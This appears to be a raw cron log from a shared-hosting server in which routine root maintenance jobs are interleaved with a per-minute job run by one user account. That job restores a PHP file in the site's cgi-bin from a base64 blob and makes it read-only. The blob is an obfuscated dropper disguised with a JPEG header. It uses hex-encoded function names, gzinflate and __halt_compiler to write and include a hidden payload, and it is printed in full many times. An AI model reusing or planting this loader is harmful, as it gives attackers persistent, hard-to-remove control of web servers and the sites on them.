Aug 31 23:26:01 server CROND[27566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:26:01 server CROND[27568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:27:01 server CROND[27919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:27:01 server CROND[27920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:27:01 server CROND[27921]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 23:27:01 server CROND[27922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:28:01 server CROND[28327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:28:01 server CROND[28328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:28:01 server CROND[28329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:29:01 server CROND[28861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:29:01 server CROND[28862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:29:01 server CROND[28864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:30:01 server CROND[29280]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 23:30:01 server CROND[29282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:30:01 server CROND[29284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:30:01 server CROND[29285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:30:01 server CROND[29283]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:30:01 server CROND[29286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 23:30:01 server CROND[29287]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:30:01 server CROND[29290]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 23:31:01 server CROND[30124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:31:01 server CROND[30125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:31:01 server CROND[30126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:32:01 server CROND[30515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:32:01 server CROND[30516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:32:01 server CROND[30517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:33:01 server CROND[30904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:33:01 server CROND[30903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:33:01 server CROND[30905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:34:01 server CROND[31264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:34:01 server CROND[31265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:34:01 server CROND[31263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:35:01 server CROND[31738]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:35:01 server CROND[31740]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 23:35:01 server CROND[31742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:35:01 server CROND[31744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:35:01 server CROND[31747]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 23:35:01 server CROND[31748]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 23:35:01 server CROND[31745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:35:01 server CROND[31749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:35:01 server CROND[31751]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 23:36:01 server CROND[32607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:36:01 server CROND[32609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:36:01 server CROND[32608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:37:01 server CROND[530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:37:01 server CROND[531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:37:01 server CROND[532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:38:01 server CROND[1292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:38:01 server CROND[1291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
